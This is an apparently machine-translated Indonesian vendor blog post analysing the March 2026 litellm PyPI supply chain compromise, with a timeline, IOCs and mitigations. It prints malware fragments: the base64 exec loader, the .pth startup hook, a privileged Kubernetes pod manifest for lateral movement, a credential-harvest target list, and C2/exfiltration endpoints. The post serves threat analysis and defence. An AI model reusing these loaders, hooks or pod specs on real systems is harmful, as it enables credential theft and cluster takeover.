Serangan Rantai Pasokan LiteLLM

Serangan Rantai Pasokan LiteLLM: Bagaimana TeamPCP Menyusup ke Infrastruktur AI

Mengapa ini Matters

Pada tanggal 24 Maret 2026, paket Python populer litellm, sebuah gateway proxy LLM universal yang digunakan oleh ribuan orang enterpriseSebuah perangkat lunak yang berfungsi untuk mengarahkan lalu lintas antara aplikasi dan penyedia AI seperti OpenAI, Anthropic, Google, dan AWS Bedrock, diam-diam disusupi di PyPI. Dua versi yang telah disusupi (1.82.7 dan 1.82.8) dipublikasikan dalam waktu 13 menit satu sama lain, membawa muatan multi-tahap yang mencuri kredensial, mengeksfiltrasi rahasia cloud, menyebar secara lateral di seluruh klaster Kubernetes, dan memasang backdoor permanen dengan kemampuan eksekusi kode jarak jauh.

Dengan kira-kira 3.6 juta unduhan harian Dengan penerapan yang mendalam di seluruh infrastruktur AI berbasis cloud, litellm berada di persimpangan semua hal yang diidamkan penyerang modern: kunci API untuk setiap penyedia AI utama, kredensial IAM cloud, rahasia Kubernetes, dan kunci SSH.

Namun kompromi kecil itu bukanlah peristiwa yang terisolasi. Itu adalah puncak dari sebuah kampanye lima hari, lima ekosistem oleh pelaku ancaman yang dikenal sebagai Tim PCP, sebuah kampanye yang pertama kali meracuni pemindai keamanan (Aqua Trivy, Checkmarx KICS), kemudian menggunakan hasil curian tersebut. CI/CD Kredensial tersebut kemudian disebarkan ke npm, OpenVSX, dan akhirnya PyPI. Para penyerang mempersenjatai alat-alat yang diandalkan organisasi untuk melindungi rantai pasokan mereka.

Serangan ini merupakan perubahan signifikan dalam kecanggihan ancaman rantai pasokan. Desain multi-hop dan lintas ekosistemnya membahayakan perangkat keamanan untuk mencapai target bernilai tinggi. Infrastruktur AI, Hal ini mencerminkan tingkat perencanaan dan kematangan operasional yang konsisten dengan alat serangan yang semakin terstandardisasi. Muatan (payload) diulang secara real-time (tiga varian muatan muncul dalam kode sumber, termasuk versi sebelumnya yang dikomentari), infrastruktur C2 didaftarkan sehari sebelum serangan, dan domain eksfiltrasi dipilih dengan cermat untuk meniru infrastruktur vendor yang sah. Pengumpul kredensial yang komprehensif secara sistematis, mencakup lebih dari 15 kategori termasuk target khusus seperti kunci penandatanganan Cardano dan konfigurasi WireGuard, menunjukkan tingkat ketelitian yang mengarah pada pengembangan malware berbantuan AI sebagai pengali kekuatan.

Perusahaan

Tanggal (UTC) Acara
Maret 19 TeamPCP membobol tag GitHub Action Aqua Trivy, menggantinya dengan kode berbahaya yang melakukan eksfiltrasi. CI/CD rahasia dari repositori hilir
Maret 21 Kompromi ini juga diterapkan pada Checkmarx KICS dan AST GitHub Actions menggunakan teknik serupa.
22 Maret, 06:35 BerriAI menerbitkan litellm 1.82.6 (versi bersih terakhir) melalui normal CI/CD pipeline yang menggunakan Trivy untuk pemindaian keamanan
Maret 23 TeamPCP mendaftarkan models.litellm.cloud (domain eksfiltrasi). Mengkompromikan 66+ paket npm dan ekstensi OpenVSX.
24 Maret, 10:39 litellm 1.82.7 diterbitkan ke PyPI -- payload disuntikkan ke dalam proxy_server.py pada lingkup modul. Dieksekusi saat impor.
24 Maret, 10:52 litellm 1.82.8 diterbitkan 13 menit kemudian -- menambahkan litellm_init.pth, sebuah hook konfigurasi jalur Python yang dieksekusi pada setiap startup interpreter Python, bukan hanya impor litellm. Menunjukkan iterasi payload yang cepat.
24 Maret, ~16:00 PyPI menghapus kedua versi tersebut setelah adanya laporan dari komunitas. Versi-versi tersebut sepenuhnya dihapus (bukan ditarik) dari indeks, meskipun arsip CDN tetap dapat diakses.

Jendela waktu pemaparan: sekitar 5.5 jam. Selama waktu ini, apa pun pip install litellm, pip install --upgrade litellm, atau CI/CD pipeline Mengunduh versi terbaru akan mengeksekusi muatan berbahaya tersebut.

Bagaimana Malware Masuk: Kompromi Berantai

Paket litellm tidak dibobol secara langsung. Penyerang mengaksesnya melalui cara tertentu. serangan rantai pasokan dua langkah:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM CI/CD pipeline menggunakan Trivy sebagai pemindai keamanan — alat yang dirancang untuk mendeteksi kerentanan justru menjadi vektor serangan. Karena pipeline Trivy dirujuk melalui tag yang dapat diubah, bukan tag yang disematkan. commit SHA, tindakan yang disusupi berjalan secara otomatis. Tindakan Trivy yang berbahaya tersebut membocorkan rahasia lingkungan, termasuk PYPI_PUBLISH token, yang memberikan TeamPCP akses penerbitan langsung ke proyek litellm PyPI.

Strategi "mengkompromikan penjaga" ini adalah ciri khas kampanye TeamPCP. Dengan menargetkan alat keamanan terlebih dahulu (Trivy, Checkmarx KICS), para penyerang secara bersamaan menonaktifkan deteksi dan memperoleh akses istimewa ke rantai pasokan hilir.

Analisis Teknis: Muatan

Titik Injeksi

versi 1.82.7 — Eksekusi tingkat modul di litellm/proxy/proxy_server.py (baris 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Kode ini berada dalam lingkup modul di antara literal kamus dan aslinya. showwarning() fungsi. Fungsi ini dieksekusi segera ketika litellm.proxy.proxy_server diimpor — yang terjadi pada setiap penggunaan fungsi proxy litellm.

versi 1.82.8 — Ditambahkan litellm_init.pth (Berkas konfigurasi jalur Python):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Ular sanca .pth file dalam site-packages/ diproses setiap kali interpreter dimulai, tetapi hanya baris yang diawali dengan import dieksekusi sebagai kode. Penyerang mengeksploitasi hal ini dengan menghubungkan seluruh muatan (payload) ke satu objek tunggal. import pernyataan: import os, subprocess, sys; subprocess.Popen(...)Ini jauh lebih agresif daripada injeksi proxy_server.py — ia akan aktif bahkan jika litellm tidak pernah diimpor, pada setiap peluncuran proses Python. pyproject.toml telah dimodifikasi untuk menyertakan file ini dalam distribusi:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Dengan demikian, versi 1.82.8 memiliki dua jalur eksekusi independen: injeksi proxy_server.py (dijalankan saat impor proxy litellm) dan file .pth (dijalankan saat Python dimulai). Redundansi itu sendiri patut diperhatikan — ini mencegah deteksi atau penghapusan salah satu jalur saja. Eskalasi dari eksekusi saat impor ke eksekusi saat startup hanya 13 menit setelah versi 1.82.7 menunjukkan penyerang memantau keberhasilan penyebaran dan melakukan iterasi dengan cepat.

Tahap 1: Pengumpulan Kredensial Komprehensif

Naskah internal yang telah didekodekan adalah sebuah kekosongan kredensial yang teliti. Naskah ini menggunakan... os.walk()glob.glob()subprocess.check_output(), dan pembacaan file langsung untuk memindai seluruh sistem:

Kategori Target
Pengintaian sistem hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; kunci host dari /etc/ssh/
Awan (AWS) ~/.aws/credentials, ~/.aws/config; kredensial peran IMDS melalui 169.254.169.254Manajer Rahasia ListSecrets; SSM DescribeParameters
Awan (GCP) ~/.config/gcloud/ (rekursif); $GOOGLE_APPLICATION_CREDENTIALS
Awan (Azure) ~/.azure/ (rekursif); variabel lingkungan
Kubernetes Token akun layanan; ca.crt; ruang nama; kubectl get secrets --all-namespaces; semua rahasia melalui API K8s
File lingkungan .env, .env.local, .env.production, .env.development, .env.staging — pencarian rekursif (kedalaman 6) di seluruh /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Buruh pelabuhan ~/.docker/config.json, /kaniko/.docker/config.json
Token paket ~/.npmrc, ~/.vault-token, ~/.netrc
Database ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confKonfigurasi MongoDB
TLS / SSL Kunci pribadi dari /etc/ssl/private/Sertifikat Let's Encrypt, semuanya .pem/.key/.p12/.pfx arsip
pergi ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Dompet crypto Bitcoin, keystore Ethereum, pasangan kunci Solana (validator, vote, stake, faucet), kunci penandatanganan Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Sejarah Shell .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Otentikasi sistem /etc/passwd, /etc/shadow, log otentikasi (sesi SSH yang diterima)
Kunci Webhook/API Gunakan grep untuk mencari web Slack.hooks, Discord webhooksKunci/rahasia API dalam file konfigurasi
VPN Konfigurasi WireGuard dari /etc/wireguard/

Cakupan pengumpul data ini sangat luas. Ia tidak hanya menargetkan kredensial cloud tetapi juga dompet mata uang kripto, kata sandi basis data, konfigurasi VPN, dan lain-lain. CI/CD rahasia — menunjukkan bahwa penyerang bermaksud untuk memonetisasi sistem yang disusupi melalui berbagai vektor.

Tahap 2: Eksfiltrasi Terenkripsi

Data yang dicuri dienkripsi dan dieksfiltrasi menggunakan skema enkripsi hibrida:

  • AES-256-CBC enkripsi semua data yang dikumpulkan dengan kunci sesi acak 32 byte (melalui openssl enc)
  • RSA-4096 enkripsi kunci sesi menggunakan kunci publik tertanam milik penyerang (padding OAEP, melalui openssl pkeyutl)
  • Kedua berkas teks sandi tersebut dikemas sebagai tpcp.tar.gz (The tpcp awalan — “TeamPCP” — muncul secara konsisten di seluruh kampanye)
  • HTTPS POST ke https://models.litellm.cloud/ dengan Content-Type: application/octet-stream

Domain models.litellm.cloud terdaftar pada tanggal 23 Maret — satu hari sebelum serangan — dan dirancang untuk menyatu dengan infrastruktur litellm yang sah (proyek sebenarnya menggunakan litellm.aiBahkan seorang petugas keamanan yang memahami jaringan dan meninjau lalu lintas keluar mungkin tidak menandai lalu lintas ke titik akhir yang tampaknya merupakan model milik litellm sendiri.

Tahap 3: Backdoor Permanen (sysmon.py)

Muatan berbahaya ini memasang pintu belakang polling yang disamarkan sebagai telemetri sistem:

  • xtra~/.config/sysmon/sysmon.py
  • Pelayanansysmon.service (unit pengguna systemd, yang digambarkan sebagai “Layanan Telemetri Sistem”)
  • Tingkah lakuSetelah tidur singkat selama 300 detik, jajak pendapat https://checkmarx.zone/raw setiap ~50 menit
  • Execution: Mengunduh URL yang dikembalikan oleh C2 ke /tmp/pglog, membuatnya dapat dieksekusi (chmod 755), menjalankannya dalam sesi terpisah
  • Pelacakan negara/tmp/.pg_state mencegah pengunduhan ulang muatan yang sama
  • KetekunanRestart=alwaysRestartSec=10 — tetap berfungsi meskipun terjadi kerusakan dan restart

Domain checkmarx.zone adalah typosquat dari Checkmarx (perusahaan keamanan di checkmarx.com), dirancang sedemikian rupa sehingga analis SOC yang meninjau log jaringan akan melihat lalu lintas ke vendor keamanan yang tampaknya sah. Ini adalah teknik penghindaran yang disengaja dan konsisten dengan strategi TeamPCP yang lebih luas untuk bersembunyi di balik merek vendor keamanan.

Tahap 3b: Pergerakan Lateral Kubernetes

Jika sistem yang disusupi memiliki kredensial akun layanan Kubernetes, malware akan menghitung semua node klaster dan menyebarkan ancaman. pod istimewa kepada masing-masing:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Setiap pod:

  • Berjalan sebagai istimewa dengan hostPIDhostNetworkdan akses penuh ke sistem file host.
  • penggunaan chroot /host untuk memasang yang sama sysmon.py pintu belakang pada sistem file root host
  • Mendaftarkannya sebagai layanan systemd, memastikan keberlangsungan layanan tetap ada meskipun pod dihapus.
  • Bernama node-setup-* dalam kube-system namespace agar tampak sebagai infrastruktur cluster yang sah.

Artinya a satu-satunya yang dikompromikan CI/CD Pelari yang memiliki akses K8s dapat mengakibatkan setiap node dalam klaster disusupi celah keamanan. — skenario pergerakan lateral yang menimbulkan bencana bagi organisasi yang menjalankan litellm sebagai proxy di Kubernetes.

Evolusi Muatan (Varian yang Dikomentari)

Kode sumber pada baris 131-132 berisi dua varian payload sebelumnya yang dikomentari, yang mengungkap proses pengembangan penyerang:

  • Ketiga varian tersebut berbagi infrastruktur eksfiltrasi yang sama (models.litellm.cloud), kunci publik RSA-4096, pembungkus enkripsi hibrida AES-256-CBC + RSA, dan tpcp.tar.gz penamaan bundel
  • Varian sebelumnya menambahkan sebuah lapisan enkripsi RC4 Di dalam skrip pengumpulan data, data yang dikumpulkan dienkripsi sebelum lapisan pembungkus AES+RSA terluar. Muatan aktif (baris 130) disederhanakan dengan menghapus lapisan RC4 bagian dalam ini.
  • Varian sebelumnya menggunakan exec() dengan StringIO menangkap untuk menjalankan kolektor dalam proses, sementara muatan aktif menggunakan subprocess.run() dengan pengalihan stdout — pemisahan yang lebih bersih yang menghindari pencemaran proses host.
  • Ketiga varian tersebut menargetkan kategori kredensial dan jalur pengumpulan yang sama.
  • Kunci RC4 pada varian sebelumnya adalah hinaan provokatif, yang konsisten dengan perilaku pelaku yang mencari perhatian di Telegram.

Hal ini menunjukkan adanya pengembangan aktif selama operasi berlangsung. Penyerang menyederhanakan tumpukan enkripsi dan meningkatkan isolasi eksekusi sambil menjaga target pengumpulan dan infrastruktur eksfiltrasi tetap stabil.

Indikator Kompromi (IOC)

jaringan

Indikator Tipe Tujuan
models.litellm.cloud Domain Titik akhir eksfiltrasi (HTTPS POST)
checkmarx.zone Domain Titik akhir polling C2 (HTTPS GET) /raw)

Catatan: Tautan pelaporan eksternal checkmarx.zone/static/checkmarx-util-1.0.4.tgz ke fase KICS sebelumnya dari kampanye TeamPCP. URL ini tidak ditemukan dalam payload litellm yang dianalisis di sini.

Hash Paket

File SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

File System

Indikator Tipe Tujuan
~/.config/sysmon/sysmon.py File Skrip pintu belakang permanen
~/.config/systemd/user/sysmon.service File unit persistensi Systemd
/tmp/pglog File File biner tahap kedua telah diunduh.
/tmp/.pg_state File Pelacakan status C2
litellm_init.pth in site-packages/ File Hook startup Python (hanya v1.82.8)
tpcp.tar.gz File Bundel eksfiltrasi terenkripsi

Kubernetes

Indikator Tipe Tujuan
node-setup-* polong di dalam kube-system Polong Pod pergerakan lateral istimewa
sysmon.service pada node klaster Pelayanan Persistensi tingkat host melalui pelepasan pod

Kriptografi

Indikator Detail
Kunci publik RSA-4096 penyerang Sidik jari SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Tertanam dalam ketiga varian payload; kunci yang sama dilaporkan di seluruh operasi TeamPCP lainnya.
tpcp awalan dalam artefak Konvensi penamaan bundel (tpcp.tar.gz) konsisten di seluruh kampanye

Sumber: TeamPCP

Pelaku ancaman di balik kampanye ini dilacak sebagai... Tim PCP, juga dikenal sebagai PCPcat, Persy_PCP, ShellForce, dan DeadCatx3.

Karakteristik yang diketahui:

  • Mengelola saluran Telegram di @Persy_PCP ke @teampcp di mana mereka mengejek perusahaan keamanan
  • Beroperasi di berbagai ekosistem (GitHub Actions, PyPI, npm, OpenVSX)
  • Menggunakan domain typosquat khusus vendor untuk setiap fase kampanye (misalnya, checkmarx.zone untuk Checkmarx, models.litellm.cloud untuk litellm)
  • Penanda infrastruktur yang konsisten: pasangan kunci RSA yang sama, tpcp.tar.gz konvensi penamaan, tpcp-docs-* Repositori GitHub yang digunakan sebagai tempat penyimpanan barang titipan (dead-drop).
  • Menargetkan alat keamanan sebagai titik masuk ke rantai pasokan hilir.

Kepercayaan atribusiTinggi. Kunci publik RSA bersama, tpcp Penamaan artefak, tumpang tindih infrastruktur C2, dan tempo operasional selama kampanye lima hari tersebut sangat mengaitkan kompromi Trivy, KICS, npm, OpenVSX, dan litellm dengan aktor yang sama.

MotivasiKemungkinan motifnya finansial (pencurian dompet kripto, monetisasi kredensial cloud) dikombinasikan dengan upaya mendapatkan reputasi buruk (ejekan melalui Telegram). Luasnya cakupan pencurian kredensial — mulai dari AWS IAM hingga pasangan kunci validator Solana hingga konfigurasi WireGuard — menunjukkan pelaku yang termotivasi secara finansial dan berupaya memaksimalkan ROI dari setiap pelanggaran.

Kemungkinan bantuan AIPengumpul kredensial ini komprehensif secara sistematis — lebih dari 15 kategori termasuk target khusus seperti kunci penandatanganan Cardano, konfigurasi WireGuard, dan kredensial Docker Kaniko — dengan cara yang konsisten dengan enumerasi yang dibantu AI. Kecepatan iterasi muatan (tiga varian dengan skema enkripsi berbeda), koordinasi lintas ekosistem (5 ekosistem dalam 5 hari), dan OPSEC operasional (domain peniru vendor, enkripsi hibrida, persistensi systemd yang disamarkan sebagai telemetri) menunjukkan tingkat throughput yang mungkin mencerminkan pengembangan yang dibantu AI sebagai pengali kekuatan. Penilaian ini bersifat spekulatif; operator yang terampil dapat mencapai cakupan serupa tanpa alat AI.

TTP dan Teknik Baru

1. Keracunan Rantai Pasokan Alat Keamanan (varian T1195.002)

Mengkompromikan pemindai keamanan (Trivy, KICS) sebagai langkah pertama untuk mencapai target hilir merupakan eskalasi baru. Penyerang tidak hanya mengkompromikan sebuah pustaka—mereka mengkompromikan alat-alat yang digunakan organisasi untuk menemukan perpustakaan yang telah disusupi. Hal ini menciptakan titik buta: pemindai yang seharusnya mendeteksi kode berbahaya itu sendiri adalah mekanisme penyebarannya.

2 Python .pth Ketahanan File (T1546)

The litellm_init.pth Teknik pada versi 1.82.8 sangat berbahaya. Python .pth file dalam site-packages/ diproses pada setiap kali interpreter dimulai; setiap baris yang diawali dengan import dieksekusi sebagai kode. Dengan menghubungkan muatan (payload) ke satu import Berdasarkan pernyataan tersebut, penyerang mencapai eksekusi pada setiap proses Python — bukan hanya saat litellm diimpor. Ini berarti muatan berbahaya akan aktif bahkan jika litellm terinstal tetapi tidak pernah digunakan, dan akan tetap ada meskipun dilakukan perbaikan yang mengganti sistem yang telah disusupi. .py file tanpa memeriksa .pth file.

3. Pergerakan Lateral di Seluruh Klaster Kubernetes melalui Penyebaran Pod Istimewa (T1610, T1611)

Pembuatan pod istimewa secara otomatis di setiap node klaster — dengan hostPIDhostNetwork, pemasangan sistem file host, dan chroot untuk memasang persistensi — rantai penyebaran kontainer (T1610) dengan pelarian ke host (T1611) untuk mengubah satu beban kerja yang dikompromikan menjadi kompromi klaster penuh.

4. Infrastruktur C2 yang Menyamar sebagai Vendor

Menggunakan models.litellm.cloud (meniru litellm) dan checkmarx.zone (Meniru Checkmarx) sebagai titik akhir C2/eksfiltrasi dirancang untuk menghindari pemantauan jaringan. Analis SOC yang meninjau lalu lintas keluar akan melihat koneksi HTTPS ke domain vendor yang tampak sah.

5. Iterasi Muatan Cepat Selama Penerbangan

Penerbitan versi 1.82.7 dengan eksekusi pada saat impor, kemudian versi 1.82.8 dengan eksekusi pada saat startup 13 menit kemudian, menunjukkan penyerang memantau dan beradaptasi secara real-time. Varian payload yang dikomentari (dengan skema enkripsi yang berbeda) yang tersimpan dalam kode sumber mengkonfirmasi pengembangan aktif selama operasi tersebut.

Apa yang bisa dilakukan

Serangan ini mengeksploitasi kepercayaan di setiap lapisan: kepercayaan pada alat keamanan, kepercayaan pada registri paket, kepercayaan pada domain yang tampak familiar, kepercayaan pada CI/CD otomatisasi. Untuk melawannya, diperlukan penguatan setiap batasan kepercayaan ini:

Untuk Konsumen Paket

  • Tetapkan dependensi berdasarkan hash, bukan hanya versi. pip install litellm==1.82.6 --hash=sha256:... Hal itu akan mencegah versi yang telah disusupi terpasang, bahkan jika versi tersebut sempat muncul sebagai versi terbaru.
  • Gunakan file kunci. pip-compilepoetry.lock, dan uv.lock catat versi dan hash yang tepat. CI/CD Seharusnya diinstal dari file lock, bukan dari penentu versi mengambang.
  • Monitor untuk .pth file. Audit secara teratur site-packages/ untuk tak terduga .pth File-file ini dieksekusi setiap kali Python dimulai dan merupakan mekanisme persistensi yang kurang dihargai.
  • Terapkan kontrol jaringan keluar. Eksfiltrasi ke models.litellm.cloud dan jajak pendapat C2 untuk checkmarx.zone bisa saja terdeteksi oleh penyaringan keluar berbasis daftar izin (allowlist) di lingkungan produksi.

Untuk Pengelola Paket

  • pin CI/CD tindakan oleh commit SHA, bukan tag. LiteLLM pipeline menggunakan Trivy tanpa versi yang disematkan. Jika itu merujuk pada aquasecurity/trivy-action@<commit-sha> alih-alih @latest, tindakan yang dikompromikan tersebut tidak akan dieksekusi.
  • Gunakan token penerbitan berumur pendek dan terbatas ruang lingkupnya. PyPI mendukung Penerbit Tepercaya (berbasis OIDC) dan token API yang terlingkup. Data yang dieksfiltrasi PYPI_PUBLISH Token tersebut seharusnya tidak memiliki akses penerbitan yang berlaku lama dan tidak terbatas.
  • Aktifkan otentikasi dua faktor di PyPI. Wajibkan otentikasi dua faktor (2FA) untuk semua petugas pemeliharaan dan gunakan kunci keamanan perangkat keras jika memungkinkan.
  • Menandatangani paket. Pengesahan Sigstore/PEP 740 memungkinkan konsumen untuk memverifikasi bahwa sebuah paket dibuat oleh pihak yang diharapkan. CI/CD pipeline, bukan oleh penyerang dengan token curian.

Untuk Operator Platform (PyPI, npm, GitHub)

  • Mendeteksi pola penerbitan yang anomali. Dua versi baru yang diterbitkan dengan selang waktu 13 menit, dari IP atau token yang berbeda dari biasanya, akan memicu penangguhan untuk peninjauan atau pemindaian otomatis sebelum paket tersebut dapat diinstal.
  • Mempercepat adopsi Penerbit Tepercaya. Penerbitan berbasis OIDC mengaitkan paket dengan repositori dan alur kerja tertentu, sehingga token curian menjadi tidak berguna di luar repositori aslinya. CI/CD konteks.
  • Terapkan pemindaian malware pada saat publikasi. Muatan yang telah didekode base64 dalam proxy_server.py akan dapat dideteksi melalui analisis statis pada saat publikasi.

Untuk Ekosistem

  • Perlakukan alat keamanan sebagai infrastruktur penting. Trivy dan Checkmarx KICS digunakan oleh jutaan orang. pipelineGitHub Actions mereka harus ditandatangani, disematkan, dan dipantau dengan ketelitian yang sama seperti paket yang mereka pindai.
  • Berinvestasi dalam deteksi saat runtime. Analisis statis saja tidak dapat mendeteksi setiap teknik pengaburan. Pemantauan runtime instalasi paket. hooks, koneksi jaringan yang tidak terduga, dan pola akses file yang mencurigakan memberikan pertahanan berlapis.
  • Bagikan informasi intelijen ancaman dengan lebih cepat. Jendela paparan 5.5 jam untuk litellm bisa lebih pendek jika koordinasi antar vendor lebih cepat. Layanan pemindaian otomatis seperti Xygeni MEW, Socket, dan Snyk mendeteksi anomali tersebut — hambatannya adalah konfirmasi manusia dan waktu respons registri.

Kesimpulan

Kampanye TeamPCP merupakan momen penting bagi software supply chain securityDengan meretas pemindai keamanan terlebih dahulu dan menggunakannya sebagai batu loncatan menuju infrastruktur AI bernilai tinggi, para penyerang menunjukkan bahwa rantai pasokan hanya sekuat ketergantungan transisi terlemahnya, dan ketergantungan itu mungkin adalah alat keamanan yang Anda percayai untuk menjaga Anda tetap aman.

Kompromi litellm secara khusus menyoroti meningkatnya risiko terhadap infrastruktur AI. Karena gateway proxy LLM menjadi semakin penting... standard pola untuk enterprise Dalam penerapan AI, mereka memusatkan akses ke kunci API, kredensial cloud, dan data sensitif dalam satu komponen. Membobol komponen tersebut sama saja dengan membuka kunci utama untuk seluruh tumpukan AI.

Organisasi yang memasang litellm 1.82.7 atau 1.82.8 selama jendela waktu 5.5 jam harus menganggap ini sebagai pelanggaran kredensial penuh: rotasi semua rahasia pada sistem yang terpengaruh, audit klaster Kubernetes untuk node-setup-* polong di dalam kube-system, hapus apa pun sysmon.service unit systemd, dan periksa litellm_init.pth dengan Python site-packages/ direktori. Pengguna citra Docker resmi (ghcr.io/berriai/litellm) tidak terpengaruh, karena gambar tersebut mengunci dependensinya dan tidak dibangun ulang selama jendela eksposur.

tentang Penulis

Pendiri Bersama & CTO

Luis Rodriguez adalah salah satu Pendiri dan CTO di Xygeni Security. Dengan pengalaman lebih dari 20 tahun di bidang keamanan aplikasi, ia berfokus pada perlindungan AppSec dan kemampuan analisis kode tingkat lanjut yang membantu tim mengurangi risiko pengiriman yang sebenarnya.

 
perangkat lunak analisis komposisi sca
Prioritaskan, perbaiki, dan amankan risiko perangkat lunak Anda.
Dapatkan Akun Gratis Anda.
Tidak perlu kartu kredit.

Amankan Pengembangan dan Pengiriman Perangkat Lunak Anda

dengan Rangkaian Produk Xygeni